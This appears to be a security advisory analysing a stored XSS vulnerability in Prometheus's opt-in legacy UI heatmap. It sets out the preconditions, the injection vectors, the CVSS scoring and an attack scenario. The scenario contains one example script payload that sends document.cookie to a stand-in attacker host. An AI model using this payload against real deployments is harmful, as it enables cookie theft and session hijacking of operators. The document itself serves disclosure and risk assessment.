Prometheus CVE-2026-44903

The primary hard requirement is that the Prometheus server must be started with the explicit command-line flag --enable-feature=old-ui; this flag is opt-in and non-default, meaning any standard Prometheus deployment is unexposed. Beyond that, the attacker must have a path to inject crafted le label values into Prometheus's time series database - the three concrete injection vectors are: (1) control over or compromise of a scrape target that Prometheus is configured to poll, (2) access to the remote write receiver endpoint when --web.enable-remote-write-receiver is enabled and not restricted to trusted sources, or (3) access to the OTLP receiver when --web.enable-otlp-receiver is enabled and not restricted. Finally, a victim Prometheus user must actively navigate to and open the heatmap chart view for the poisoned metric (UI:P). Exploitation is limited by: the opt-in legacy UI flag, the need for metric injection access (PR:L - not a fully unauthenticated attack against default configs), required victim interaction with the specific chart view, and the fact that XSS scope is limited to the browser - direct server-side impact requires additional admin API flags to be set.

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained real-world impact. The vector AV:N/AC:L/AT:N/PR:L/UI:P indicates the attack is network-reachable with low complexity and no special attack requirements, but demands low-privileged attacker access to inject metrics (PR:L) and requires victim interaction (UI:P) to view the heatmap. The scope impact is limited - VC:N/VI:N/VA:N on the vulnerable system itself, with only SC:L/SI:L on the subsequent (browser) context, consistent with XSS that cannot directly exfiltrate server secrets but can read partially redacted config, trigger admin API actions, or exfiltrate metric data. The critical limiting factor is the --enable-feature=old-ui requirement: this flag is explicitly non-default and opt-in, meaning the vast majority of Prometheus deployments are unaffected. No EPSS data was provided in the input, and no KEV listing exists, meaning exploitation probability signals are unquantified beyond the CVSS. The risk is genuine but narrowly scoped - teams running the legacy UI in environments where scrape targets or write receivers are not fully trusted face real exposure. Deployments without --enable-feature=old-ui have zero exposure regardless of patch status.

An attacker with access to a Prometheus scrape target or remote write endpoint crafts a histogram metric with a malicious le label value containing a JavaScript payload (e.g., <script>fetch('https://attacker.example/exfil?d='+encodeURIComponent(document.cookie))</script>). Once Prometheus scrapes or ingests this metric and stores it in its TSDB, any operator using the legacy web UI who navigates to the heatmap chart view for that metric will trigger the XSS, executing the attacker's script in their browser session. No public exploit code has been identified at time of analysis, though exploitation requires only knowledge of Prometheus's histogram label naming conventions and a controlled data source.